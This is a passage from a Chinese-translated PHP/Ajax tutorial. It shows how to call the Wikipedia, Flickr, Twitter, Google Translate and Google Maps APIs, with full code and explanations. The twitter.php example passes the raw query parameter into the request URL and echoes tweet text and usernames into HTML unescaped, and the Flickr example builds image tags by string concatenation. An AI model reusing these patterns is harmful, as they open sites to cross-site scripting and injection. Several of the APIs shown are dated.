如您所见,用于发送请求的 XML 格式非常简单,甚至参数的数据类型也在过程调用中定义。现在,让我们看一下以 XML 格式返回前面调用的响应:

<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value><string>Apple IPhone 3G</string></value>
</param>
</params>
</methodResponse>

正如您所见,XML 响应非常简单易懂。这就是为什么 XML-RPC 也用于许多提供 Web 服务的网站。

使用 PHP 创建和消费 Web 服务

PHP 可以用于创建和消费 Web 服务。PHP 具有强大的库,用于创建和消费使用 SOAP 或 XML-RPC 或 REST 的 Web 服务。

让我们尝试通过一个简单的例子来理解如何在 PHP 中消费 Web 服务。在这个例子中,我们将从维基百科的 API 中获取一个短语的详细信息。

准备工作

维基百科(www.wikipedia.org)是一个免费的基于 Web 的多语言百科全书。几乎所有的文章都可以由任何人编辑,如果他们对主题有更多的信息。它可能是人们查找一般知识或特定主题信息的最大和最受欢迎的网站。目前,维基百科有 282 种语言的文章。

如何做...

维基百科在en.wikipedia.org/w/api.php上有一个 API,可用于各种目的,以访问和修改 Wikipedia.org 上的信息。在我们的示例中,我们只是使用维基百科来获取一个术语的解释。

要调用 API 调用,我们需要访问维基百科 API 的以下 URL:

en.wikipedia.org/w/api.php?format=xml&action=opensearch&search=PHP&limit=1

正如你在前面的 URL 中所看到的,API 调用的参数是不言自明的。我们正在访问名为 opensearch 的 API 的操作,搜索关键字是 PHP。我们将结果限制为 1,我们得到的输出格式是 XML。现在,让我们看看前面 API 调用的 XML 输出。

<SearchSuggestion version="2.0"> <Query xml:space="preserve">PHP</Query> <Section> <Item> <Text xml:space="preserve">PHP</Text> <Description xml:space="preserve">PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. </Description> <Url xml:space="preserve">http://en.wikipedia.org/wiki/ PHP</Url> </Item> </Section> </SearchSuggestion>

正如我们在前面的代码中看到的,我们得到了一个包含关键字 PHP 定义的 XML 结果。

现在,让我们尝试看一个调用 Wickipedia API 的 PHP 代码示例:

$search_keyword = 'facebook';
//we're getting definition of keyword php in xml format with limitation of 1
$api_url = 'http://en.wikipedia.org/w/api.php?format=xml&action=opensearch&search='.$search_keyword.'&limit=1';
//initialling the curl
$ch = curl_init();
// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, $api_url);
//to get the curl response as string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //setting the logical user agent
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0");
// grab URL and pass it to the browser
$xml_reponse = curl_exec($ch);
curl_close($ch);
//user simplexml php parser
$xml_obj = simplexml_load_string($xml_reponse);
if($xml_obj->Section->Item->Description)
echo $xml_obj->Section->Item->Description;

PHP 调用维基百科 API 的示例

现在,让我们逐行理解前面的代码。代码的前两行是使用搜索关键字初始化变量并形成 API 调用的 URL。现在,让我们试着理解代码的其他行:

$ch = curl_init();

前面的行初始化了 CURL 的新会话。CURL 库用于通过互联网传输数据使用各种协议。

要使用 CURL 函数,请确保你的 PHP 编译时支持 CURL 库,否则在尝试执行前面的代码时会出现致命错误。

现在让我们看看其他行:

curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0");

curl_setopt()函数用于设置 CURL 执行的不同选项。CURLOPT_URL选项用于设置调用的 URL。CURLOPT_RETURNTRANSFER设置为 1,这意味着通过执行curl_exec()接收到的响应不会直接输出,而是作为字符串返回。此外,CURLOPT_USERAGENT用于将调用的用户代理设置为有意义的值。

注意

在某些情况下,在进行 API 调用时设置正确的用户代理非常重要;否则 API 服务器可能会拒绝你的调用。

$xml_reponse = curl_exec($ch);
curl_close($ch);
$xml_obj = simplexml_load_string($xml_reponse);
if($xml_obj->Section->Item->Description)
echo $xml_obj->Section->Item->Description;

之后,使用curl_exec()函数执行 CURL 调用。XML 响应保存在$xml_reponse变量中。$xml_reponse变量使用 PHP 的Simplexml解析器进行解析。如果它是一个有效的响应,那么 XML 节点 Description 存在,这将作为输出通过echo语句发送到浏览器的最后一行。

它是如何工作的...

执行前面的代码后,你将在浏览器中看到以下输出,这只是你从 API 响应中得到的 Facebook 的描述。

Facebook(标志性的 facebook)是一个社交网络服务和网站,于 2004 年 2 月推出,由 Facebook,Inc 运营和私人拥有

使用 Flickr API 与 Ajax

在本节中,我们将使用 Flickr API 从 Flickr.com 检索图像,指定搜索标签是从文本框中输入的。在本节中,我们将看到如何使用 Flickr 提供的 JSONP Web 服务,使用 jQuery 直接在 JavaScript 中获取响应并解析并显示它。在这个例子中,我们不使用 PHP。

准备工作

JSONP,带填充的 JSON,是 JSON 数据的增强格式,其中 JSON 数据被包装在函数调用中,这允许页面从不同的域访问数据。JSONP 允许我们使用<script>元素进行跨域通信。JavaScript 的XMLHttpRequest对象,在 Ajax 应用程序中广泛使用,由于现代浏览器的限制,无法进行跨域通信。JSONP 很方便地克服了这种情况。

现在,让我们试着理解 JSONP 是如何工作的。JSONP 只不过是作为函数调用执行的任意 JavaScript 代码。让我们通过一个例子来理解。首先让我们看一个简单的 JSON 数据项:

var item = {'name':'iphone','model':'3GS' };

现在,这些数据也可以很容易地作为参数传递给函数,就像下面这样:

itemsDetails({'name':'iphone','model':'3GS' });

假设前面的代码是来自名为example.com的域的product.php的响应;那么前面的代码可以在任何其他域中通过script标签的帮助执行。

<script type="text/javascript"
src="http://example.com/product.php?id=1">
</script>

无论哪个页面使用前面的脚本标签,都会执行itemsDetails({'name':'iphone','model':'3GS'}); 这只是一个函数调用。

因此,总之,JSONP 是填充或前缀 JSON 数据,包装在函数调用中,以实现跨域通信的可能性。

操作步骤...

现在,让我们看一下我们的带标签的 Flickr 搜索应用程序是什么样子的:

操作步骤...

这只是一个简单的应用程序,您将输入关键字,我们的应用程序将搜索包含该标签的照片并显示它们。我们将使用 Flickr 的公共照片源,网址为www.flickr.com/services/feeds/docs/photos_public/

可以像以下这样调用示例 URL 来查找包含标签 sky 的照片并以 JSON 格式获取 API 响应:

http://api.flickr.com/services/feeds/photos_public. gne?tags=sky&format=json.

现在,让我们看一下使用 JSONP web 服务从 Flickr API 搜索标签并显示图像的应用程序的代码。此示例的源代码可以在example-2.html文件中找到。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Flickr Search HTML</title>
<style type="text/css">
#photos {
margin-top:20px;
}
#photos img {
height:140px;
margin-right:10px;
margin-bottom:10px;
}
</style>
<script type="text/javascript" src="https://Ajax.googleapis.com/Ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
$('document').ready(function()
{
$('#photoform').submit(function()
{
//get the value of the search tag
var keyword = $('#keyword').val();
//shows the please wait until result is fetched $("#photos").html('Please wait..');
$.getJSON('http://api.flickr.com/services/feeds/photos_public.gne?tags='+keyword+'&format=json&jsoncallback=?',
function(data)
{
//delete the child elements of #photos
$("#photos").empty();
$.each(data.items, function(index,item){
//now append each image to #photos
$("#photos").append('<img src="'+item.media.m+'" />');
});
} );
//to protect from reloading the page
return false;
});
});
</script>
</head>
<body>
<form method="post" name="photoform" id="photoform">
Keyword : <input type="text" name="keyword" id="keyword" value="" /> <input name="findphoto" id="findphoto" value="Find" type="submit" />
</form>
<div id="photos"></div>
</body>
</html>

工作原理...

您可能已经仔细查看了前面的代码。即便如此,让我们尝试理解前面代码的主要部分。

<style type="text/css">
#photos {
margin-top:20px;
}
#photos img {
height:140px;
margin-right:10px;
margin-bottom:10px;
}
</style>

在这里,我们只是为元素定义 CSS 样式。第一个声明中,#photos设置元素的顶部边距为 20 像素。另一个 CSS 声明,#photos img应用于#photos元素内的所有<img>元素。在第二个声明中,我们将图像元素的高度设置为 140 像素,并在右侧和底部设置 10 像素的边距。

应用程序的 jQuery 库托管在 Google 上。我们可以直接在应用程序中使用它以节省带宽。

<script type="text/javascript" src="https://Ajax.googleapis.com/Ajax/libs/jquery/1.4.2/jquery.min.js"></script>

我们在这里使用的是 jQuery 1.4.2 版本。现在,让我们看一下处理表单提交并搜索标签的照片的实际 jQuery 函数。

$('#photoform').submit(function()
{
var keyword = $('#keyword').val();
$("#photos").html('Please wait..');

在这里,我们将事件处理程序附加到 ID 为photoform的表单的提交事件上。每当表单提交时,都会调用此函数。第一行将文本框的值(ID 为 keyword)存储到名为keyword的 JavaScript 变量中。接下来的行在照片容器元素中显示请等待。的消息。

$.getJSON('http://api.flickr.com/services/feeds/photos_public.gne?tags='+keyword+'&format=json&jsoncallback=?',
function(data)
{

现在,在此之后,我们使用 jQuery 强大的getJSON函数从远程域获取 JSONP 数据。请记住,回调函数中的变量data保存了从 JSONP API 调用返回的 JSON 数据。

注意

在前面的 API 调用中,我们指定了jsoncallback参数,设置为?。这意味着 jQuery 会自动用正确的方法名替换?,自动调用我们指定的回调函数。

$("#photos").empty();

前面的代码删除了照片容器的子节点元素,即#photo。在查看如何使用 jQuery 解析和显示 JSON 数据之前,让我们先看一下 Flickr 源发送的示例 JSON 响应。

jsonp3434324344({
"title": "Recent Uploads tagged sky",
"link": "http://www.flickr.com/photos/tags/sky/",
"description": "",
"modified": "2011-04-17T17:30:30Z",
"generator": "http://www.flickr.com/",
"items": [
{
"title": "I needed to believe in something",
"link": "http://www.flickr.com/photos/mmcfotografia/5628290816/",
"media": {"m":"http://farm6.static.flickr.com/5064/5628290816_dc91b37539_m.jpg"},
"date_taken": "2011-04-17T14:26:33-08:00",

在查看了前面的响应格式之后,现在让我们看看如何解析前面的 JSON 响应。

$.each(data.items, function(index,item){
$("#photos").append('<img src="'+item.media.m+'" />');
});

如您所知,data是一个保存 JSON 数据的变量。data.items数组保存了响应的各个项目。使用 jQuery 的each()函数循环遍历这些数据。each()函数的回调函数接受两个参数;第一个是索引,第二个是值本身。如您在上面的 JSON 响应格式中所见,可以使用item.media.m变量从循环中访问 Flickr 的图像 URL。使用 jQuery 的append()函数将图像附加到照片容器元素。

submit()函数的回调结束处有一个return false;语句,以防止表单提交,导致页面重新加载。

return false;

还有更多...

除了 JSON 之外,Flickr 还提供许多不同格式的源,如 RSS、Atom、SQL、YAML 等。您可以根据应用程序的需要使用这些源的格式。

如果您需要 Flickr API 的更多功能,比如上传照片、获取朋友的照片等,那么您可以在www.flickr.com/services/api/上详细了解 Flickr 的 API。

使用 Ajax 调用 Twitter API

在本节中,我们将看到如何使用 PHP 和 Ajax 创建一个工具,该工具使用 Twitter 搜索 API 从用户那里检索包含搜索关键字的推文。我们将使用 Ajax、PHP 和 Twitter API 来制作这个工具。

准备就绪

您可以按以下方式调用 Twitter 搜索 API:

search.twitter.com/search.format?q=your_query_string

在前面的调用中,format可以替换为jsonatom。此外,我们可以使用额外的callback参数进行 JSONP 调用。

search.twitter.com/search.format?q=your_query_string&callback=?

假设我们想要搜索包含php的推文,并以 JSON 格式获取响应;那么我们可以这样调用 Twitter API:

search.twitter.com/search.json?q=php

如何做...

在这里,您可以看到 Twitter 搜索应用程序的接口,使用 Ajax。这是一个非常简单的界面,只有最少的 CSS。有一个文本框,用户输入搜索关键字并点击“搜索”按钮。这个搜索关键字通过 Ajax 传递给 PHP 脚本,PHP 脚本通过调用 Twitter API 获取结果。

如何做...

现在,让我们看一下这个应用程序的代码。与此示例相关联的有两个文件。一个文件是example-3.html,其中包含用于前端操作的 JavaScript、CSS 和 HTML 代码。另一个是twitter.php文件,通过 Ajax 调用以从 Twitter 获取结果。

首先,让我们看一下example-3.html的代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search Twitter using their API </title>
<style type="text/css">
body{
font-family:Arial, Helvetica, sans-serif;
}
#tweets {
margin-top:20px;
}
#tweets ul {
margin:0px; padding:0px;
}
#tweets li {
border-bottom:1px solid #B4B4B4;
background-repeat:no-repeat;
font-size:17px;
min-height:30px;
padding-left:75px;
list-style:none;
margin-bottom:10px;
}
#tweets li a {
color:#900;
text-decoration:none;
}
#tweets li a:hover {
color:#06C;
}
</style>
<script type="text/javascript" src="https://Ajax.googleapis.com/Ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
$('document').ready(function()
{
$('#tweetform').submit(function()
{
//get the value of the search keyword
var keyword = $('#keyword').val();
//shows the please wait until result is fetched
$("#tweets").html('Please wait while tweets are loading....');
$.Ajax({
url : 'twitter.php',
data : 'query='+keyword,
success : function(html_data)
{
$('#tweets').html(html_data);
}
});
//to protect from reloading the page
return false;
});
});
</script>
</head>
<body>
<h2>Twitter Search Demo using Ajax</h2>
<form method="post" name="tweetform" id="tweetform">
Keyword : <input type="text" name="keyword" id="keyword" value="" /> <input name="findtweet" value="Search" type="submit" />
</form>
<div id="tweets"></div>
</body>
</html>

正如我们在前面的代码中看到的,有一个 Ajax 调用twitter.php文件。让我们看一下twitter.php文件的代码:

<?php
//get the JSON response of serach keyword using search api of twitter
$raw_data=file_get_contents("http://search.twitter.com/search.json?q=".$_GET['query']);
//decode the json data to object
$tweets=json_decode($raw_data);
echo '<ul>';
if(count($tweets->results)>0)
{
foreach($tweets->results as $tweet)
{
echo "<li style='background-image:url(".$tweet->profile_image_url.");'>";
echo "<a href='http://twitter.com/".$tweet->from_user."'>".$tweet->from_user."</a> : ";
echo $tweet->text;
echo "</li>";
}
}
else
{
echo "<li> Sorry no tweets found </li>";
}
echo '</ul>';
?>

它是如何工作的...

在查看代码及其界面之后,现在让我们详细了解它是如何工作的。

首先,让我们看一下example-1.html文件。它在顶部有 CSS 样式,我们不需要太多解释。

此外,HTML 代码也是不言自明的;我认为你不会在尝试理解它时遇到太多困难。

让我们跳转到 jQuery 代码并理解它:

var keyword = $('#keyword').val(); $("#tweets").html('Please wait while tweets are loading....');

在这里,我们将 ID 为keyword的文本框的值分配给名为keyword的 JavaScript 变量。之后,我们将信息性消息放到 ID 为tweets的元素中,以显示它,直到从 Ajax 接收到响应为止。

$.Ajax({
url : 'twitter.php',
data : 'query='+keyword,
success : function(html_data)
{
$('#tweets').html(html_data);
}
});

现在,在前面的代码中,我们使用了 jQuery 的 Ajax 函数调用,并传递了一个参数查询,该参数具有文本框中输入的值。一旦 Ajax 请求完成,成功的响应将插入到#tweets 中。

注意

如果在 jQuery 的 Ajax 函数中未指定请求类型,则默认请求类型将为 GET。

正如我们在前面的代码中看到的,有一个 Ajax 调用twitter.php。现在,让我们看一下twitter.php脚本的代码:

$raw_data=file_get_contents("http://search.twitter.com/search.json?q=".$_GET['query']); $tweets=json_decode($raw_data);

这前两行是代码的关键部分。在第一行中,我们使用 PHP 的file_get_contents()函数从 Twitter 获取搜索结果的内容。然后将响应存储在$raw_data变量中。在第二行中,使用json_decode()函数将 JSON 数据转换为 PHP 变量。

在查看剩余部分之前,让我们看一下我们从 Twitter API 获得的 JSON 响应,使用搜索 API 调用:

{
"results": [{
"from_user_id_str": "83723708",
"profile_image_url": "http://a2.twimg.com/profile_images/814809939/n100000486346445_3870_normal.jpg",
"created_at": "Tue, 19 Apr 2011 09:10:30 +0000",
"from_user": "cdAlcoyano",
"id_str": "60269025921466369",
"metadata": {
"result_type": "recent"
},
"to_user_id": null,
"text": "Torneo en Novelda del Futbol Base: http://bit.ly/eNzvfy",
"id": 60269025921466369,
"from_user_id": 83723708,
"geo": null,
"iso_language_code": "no",
"to_user_id_str": null,
"source": "&lt;a href=&quot;http://twitterfeed.com&quot; rel=&quot;nofollow&quot;&gt;twitterfeed&lt;/a&gt;"
}, {
"from_user_id_str": "125327460",

正如您在前面的代码片段中看到的,来自 Twitter 的示例 JSON 响应,响应以数组形式在 results 变量中可用。现在,让我们看一下用于解析前面响应的 PHP 代码。

if(count($tweets->results)>0)
{
foreach($tweets->results as $tweet)
{
echo "<li style='background-image:url(".$tweet->profile_image_url.");'>";
echo "<a href='http://twitter.com/".$tweet->from_user."'>".$tweet->from_user."</a> : ";
echo $tweet->text;
echo "</li>";
}
}

正如您在前面的代码中所看到的,首先我们计算返回的 JSON 数据中的推文数量。如果结果大于零,则我们解析每条推文并在li元素上显示它们。

使用 Google Ajax API 翻译文本

在本节中,我们将看一下 Google Ajax API,将文本从一种语言翻译成其他语言。Google 为一系列操作提供了 Ajax API,例如 Google 地图、语言翻译、图表等。在本部分中,我们将看一下如何使用 Google 翻译 Ajax API 将文本从一种语言翻译成另一种语言。

准备工作

要使用 Google Ajax API,我们首先需要为您的特定域名注册密钥。您可以从以下 URL 获取 Google Ajax API 的 API 密钥:code.google.com/apis/loader/signup.html。获得 API 密钥后,您可以使用以下 URL 插入 Google API:

<script type="text/javascript" src="https://www.google.com/jsapi?key=YOUR-API-KEY"></script>

现在,在调用 URL 之后,我们可以为应用程序加载特定的模块。假设我们要使用 Ajax 语言 API;那么我们可以这样加载它:

google.load("language", "1");

第一个参数是您想要在页面上使用的模块。在这里,我们使用的是语言模块。第二个参数是特定模块的版本,在前面的示例中是 1。

注意

load()函数中还有第三个参数,即packages。这是可选的,可以根据需要使用。例如,要加载带有 corechart 包的 Google 可视化模块,我们使用以下代码:google.load('visualization', '1', {'packages':['corechart']})

如何做...

首先,让我们来看一下我们使用 Google 翻译 API 构建的语言翻译工具的界面。

如何做...

正如您在上一个屏幕截图中所看到的,界面简单而简洁。有一个文本区域,您可以在其中输入要翻译的文本。在下面,有一个下拉选择框,您可以选择要将前面的文本翻译成的语言。在这个应用程序中,我们只在下拉菜单中添加了 5 种流行的语言。

Google 支持更多的语言在翻译 API 中。Google 不断添加更多的语言支持,因此对于最新的语言支持,请查看支持的最新语言列表的 URL:code.google.com/apis/language/translate/v1/getting_started.html#translatableLanguages

在查看了这个工具的界面之后,现在让我们来看一下它的代码,探索它是如何实际工作的。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<title>Language translation using Google Ajax language API</title>
<style title="text/css">
#label , #translate{
margin-top:10px;
}
#tanslated_text{
font-weight:bold;
margin-top:20px;
}
</style>
<script src="https://www.google.com/jsapi?key=YOUR-API-KEY"></script>
<script type="text/javascript">
google.load("language", "1");
//translate function
function translate_text()
{
var text = document.getElementById('content').value;
var lang = document.getElementById('languages').value;
//check for the empty text
if(text=='')
{
alert('Please enter some text to translate');
return false;
}
//for showing informative message
document.getElementById("tanslated_text").innerHTML = 'Translating...';
//call the translate function, empty second argument = detect language automatically
google.language.translate(text, '', lang, function(result) {
if (result.translation)
{
document.getElementById("tanslated_text").innerHTML = result.translation;
}
});
//to avoid submitting the form manually
return false;
}
</script>
</head>
<body>
<h3>Language translation using Google Ajax language API</h3>
<form method="post" name="translationform" id="translationform" onsubmit="return translate_text();">
<label for="content">Translation Text : </label>
<br />
<textarea name="content" id="content"></textarea>
<br />
<label for=" languages ">To Language : </label>
<br />
<select name="languages" id="languages">
<option value="es">Spanish</option>
<option value="fr">French</option>
<option value="zh">Chinese</option>
<option value="de">German</option>
<option value="en">English</option>
</select>
<br />
<input name="translate" id="translate" value="Translate" type="submit" />
</form>
<div id="tanslated_text"></div>
</body>
</html>

它是如何工作的...

在查看了代码之后,让我们来看一下代码的主要部分的详细信息,看看它是如何工作的。

首先,让我们来看一下 JavaScript API 是如何加载的:

<script src="https://www.google.com/jsapi?key=YOUR-API-KEY"></script>
<script type="text/javascript">
google.load("language", "1");

我们使用我们的 API 密钥调用 Google 的 JavaScript API。之后,在代码的下一行,我们加载了 Google API 的语言模块。

现在,让我们来看一下表单的定义:

<form method="post" name="translationform" id="translationform" onsubmit="return translate_text();">

正如您在前面所看到的,我们在表单的提交操作上调用了translate_text()函数。还要记住onsubmit事件需要一个返回类型。如果返回类型是true,则表单被提交,否则提交事件不会被触发。

现在,让我们来看一下 JavaScript 的translate_text()函数。

var text = document.getElementById('content').value; var lang = document.getElementById('languages').value; if(text=='')
{
alert('Please enter some text to translate');
return false;
}

在前面的列表的前两行中,我们为变量textlang分配了值,它们保存了要翻译的内容和需要将该内容翻译成的语言。

然后,在列表的接下来的 4 行中,我们只是验证text变量是否为空。如果要翻译的内容为空,则返回false给调用函数。

提示

用户可以简单地在文本框中输入空格以绕过前面的验证。JavaScript 没有像 PHP 那样内置的trim()函数。您可以编写自己的函数,或者如果您已经在应用程序中使用了 JavaScript 库,如 jQuery,这些库通常提供trim()函数。

现在,让我们看一下谷歌翻译 API 代码的主要部分:

google.language.translate(text, '', lang, function(result) {
if (result.translation)
{
document.getElementById("tanslated_text").innerHTML = result.translation;
}
});

如前面的代码中所示,API 具有带有 4 个参数的translate()函数。让我们逐个来看:

  • 文本 - 此参数包含需要翻译的文本或内容。

  • 源语言 - 此参数是提供的文本或内容的源语言。如前面的清单中所示,它是空白的。如果为空白,我们要求函数自动检测源语言。

  • 目标语言 - 此参数是需要翻译的文本的目标语言。在我们的情况下,此变量是从下拉菜单中选择的语言的值。

  • 回调函数 - 第四个参数是接收翻译结果的回调函数。

在回调函数中,我们首先检查翻译结果是否为空。如果不为空,我们将在 ID 为translated_text<div>元素上显示翻译后的文本。

使用谷歌地图

谷歌地图可能是网络上最受欢迎的地图服务,是谷歌免费提供的地图应用程序。谷歌地图包含强大的 API,通过使用这些 API,不同的第三方网站可以用于各种目的,如路线规划、查找驾驶路线和距离等。

谷歌地图正在变得越来越强大和有用,因为它被许多基于评论的服务应用程序和许多流行的移动应用程序广泛使用。

在本节中,我们将学习如何将谷歌地图嵌入到网页中。

准备就绪

可以使用简单的<Iframe>代码将谷歌地图嵌入网站,该代码基本上用于显示特定位置的地图或突出显示该位置的地标。它不能用于谷歌地图 API 交互。

准备就绪

如前面的图像所示,您可以通过单击链接选项卡从谷歌地图中获取特定位置的 Iframe 代码。

如何做...

但我们更感兴趣的是使用谷歌地图的 JavaScript API,而不是使用<iframe>。因此,让我们看一个在网页中使用 JavaScript API 使用谷歌地图的示例。

注意

在本书中,我们使用的是谷歌地图 JavaScript API 版本 3.0。其他版本的谷歌地图 API 的代码可能有所不同。此外,版本 3 不需要 API 密钥来调用谷歌地图 API。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<style type="text/css">
body { height: 100%; margin: 0px; padding: 0px }
#map { width:500px; height:500px; }
</style>
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"> </script>
<script type="text/javascript">
function showmap() {
//longitude and latitude of Kathmandu, Nepal
var lat_lng = new google.maps.LatLng(27.702871,85.318244);
//options of map
var map_options = {
center: lat_lng,
zoom : 18, //zoom level of the page
mapTypeId: google.maps.MapTypeId.SATELLITE
};
//now map should be there
var map = new google.maps.Map(document.getElementById("map"), map_options);
}
</script>
</head>
<body onload="showmap()">
<div id="map" ></div>
</body>
</html>

现在,让我们详细了解前面的代码。

<body onload="showmap()"> <div id="map" ></div>

这是地图显示的容器。您可以在 CSS 样式中看到,该容器定义为宽度为 500 像素,高度为 500 像素。您还可以看到在onload()事件上完全加载页面时调用showmap()函数。

现在,可以通过在网页中包含以下 URL 的 JavaScript 文件来使用谷歌地图 JavaScript API。

<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>

您可以看到sensor参数被指定为false。您必须明确指定此参数。此参数指定我们的基于地图的应用程序是否使用传感器来确定用户的位置。

注意

传感器通常在诸如广泛用于手机的 GPS 定位器之类的应用程序上设置为true

现在让我们来看一下showmap()函数的代码:

var lat_lng = new google.maps.LatLng(27.702871,85.318244);

在第一行,我们创建了latLng类的Lat_lng对象,并向构造函数传递了两个参数。第一个参数是纬度,第二个参数是经度。上面示例中给出的纬度和经度值是尼泊尔加德满都的。

var map_options = {
center: lat_lng,
zoom : 18, //zoom level of the page
mapTypeId: google.maps.MapTypeId.SATELLITE
};

在另一行中,我们创建了map_options对象来设置地图的不同选项。地图的中心由lat_lng对象指定。地图的缩放级别设置为 18。第三个设置是mapTypeId,设置为google.maps.MapTypeId.SATELLITE以获取卫星地图。除此之外,还支持其他三种地图类型:

  • google.maps.MapTypeId.ROADMAP 这是您在 Google 地图上看到的默认 2D 瓦片。

  • google.maps.MapTypeId.HYBRID 这是一种带有显示显著地标的卫星地图。

  • google.maps.MapTypeId.TERRAIN 这种类型用于显示基于地形信息的物理地图。

最后,使用基本的google.maps.Map对象,我们将在指定的容器中显示地图。

var map = new google.maps.Map(document.getElementById("map"), map_options);

该对象的第一个参数是要显示地图的容器的 DOM 对象,第二个参数是我们之前在map_options对象中定义的地图选项。

它是如何工作的...

现在让我们看看上述代码在网页上的 Google 地图是什么样子。这是尼泊尔加德满都中心点的卫星地图。这只是一个简单的 Google 地图,您可以使用缩放地图、拖动地图查看其他地方以及查看卫星、路线图或地形等不同类型的地图功能。

它是如何工作的...

在 Google 地图中搜索位置

在了解如何使用 Google 地图 JavaScript API 在网页中嵌入地图之后,现在让我们看一个简单的应用程序,使用 Google 地图 API 的GeoCoder()类在 Google 地图中搜索位置。

准备工作

这个工具有一个非常简单的应用程序和一个简单的界面。您可以在以下图像中查看其界面。它有一个简单的文本框,您可以在其中输入值。该值可以是世界上的任何位置、城市或地标。然后,Google API 的geocoder将找到该位置并指向它。如果找到该位置,地图将以我们搜索的位置为中心。在地图上找到的位置上会放置一个红色标记,这是 Google 地图 API 提供的默认标记。

注意

地理编码是将地址(如"619 Escuela Ave, Mountain View, CA")转换为地理坐标系(37.394011,-122.095528)的过程,即纬度和经度。

当您单击红色标记时,会打开一个小信息窗口,显示 Google 地图 API 返回的完整地址位置,这是我们正在搜索的地方。

准备工作

如何做...

在了解了该应用程序的界面工作原理之后,让我们看看它的代码。我们在这个工具中使用了 Google 地图 API 的不同类。以下是您可以在源代码中的example-6.html中找到的列表的代码。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<style type="text/css">
body { height: 100%; margin: 0px; padding: 0px }
#map { width:600px; height:500px; }
</style>
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false">
</script>
<script type="text/javascript">
//varaibles for map object, geocoder object, array of marker and information window
var map_obj;
var geocoder;
var temp_mark;
var infowindow;
function showmap() {
//longitude and latitude of Kathmandu, Nepal
var lat_lng = new google.maps.LatLng(27.702871,85.318244);
//options of map
var map_options = {
center: lat_lng,
zoom: 10,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
//now map should be there
map_obj = new google.maps.Map(document.getElementById("map"), map_options);
}
function show_address_in_map()
{
geocoder = new google.maps.Geocoder();
var address = document.getElementById("address").value;
geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
map_obj.setCenter(results[0].geometry.location);
//clear the old marker
if(temp_mark)
temp_mark.setMap(null);
//create a new marker on the searched position
var marker = new google.maps.Marker({
map: map_obj,
position: results[0].geometry.location
});
//assign the marker to another temporaray variable
temp_mark = marker;
//now add the info windows
infowindow = new google.maps.InfoWindow({content: results[0].formatted_address});
//now add the event listener to marker
google.maps.event.addListener(marker, 'click', function() {
infowindow.open(map_obj,marker);
});
} else {
alert("Google map could not find the address : " + status);
}
});
return false;
}
</script>
</head>
<body onload="showmap()">
<h3>Find location on google map</h3>
<form method="post" name="mapform" onsubmit="return show_address_in_map();" >
<strong>Address : </strong><input type="text" name="address" id="address" value="" /> <input name="find" value="Search" type="submit" />
</form>
<div id="map" ></div>
</body>
</html>

它是如何工作的...

在查看代码之后,现在让我们看看这个应用程序的代码是如何真正工作的。

var map_obj;
var geocoder;
var temp_mark;
var infowindow;

在该应用程序中定义了四个全局 JavaScript 变量。一个是地图对象,另一个是 API 的地理编码器对象,下一个是一个临时变量,用于存储稍后清除的标记——temp_mark变量在这里有点棘手,您将看到它是如何用于从地图上清除标记的,因为 Google MAP v3 没有任何预定义的函数来清除地图上的标记。我们应用程序中定义的第四个全局变量用于存储信息窗口对象。在查看全局 JavaScript 变量之后,现在让我们看看从不同事件中调用的不同 JavaScript 函数。

<body onload="showmap()">

正如您在前面的片段中清楚地看到的,当页面加载时调用showmap()函数。

<form method="post" name="mapform" onsubmit="return show_address_in_map();" >

还有另一个函数show_address_in_map(),当我们尝试提交表单时调用该函数,并且该函数返回false值以防止提交表单,这将导致重新加载页面。

现在首先让我们看一下show_map()函数的细节;它与上一个使用 Google Maps 定义的show_map()函数非常相似。一些不同之处在于我们将map_obj变量从局部变量移动到全局变量。此外,我们在此应用程序中使用的地图类型是ROADMAP

现在,让我们看一下另一个名为show_address_in_map()的函数的代码,当表单提交时调用该函数。

geocoder = new google.maps.Geocoder();
var address = document.getElementById("address").value;

在代码的第一行,我们声明了Geocoder()类的对象。这是该应用程序的主要类之一;这个类的对象向服务器发送地理编码请求。在另一行中,我们将搜索地址的值分配给address变量。

geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
map_obj.setCenter(results[0].geometry.location);

在这里,我们使用geocode向服务器发送带有地址参数分配给address变量的请求。当有结果时,调用回调函数。这个函数有两个参数:

  • 第一个是GeocoderResult对象的结果数组。

  • 第二个参数是GeocoderStatus类的对象。

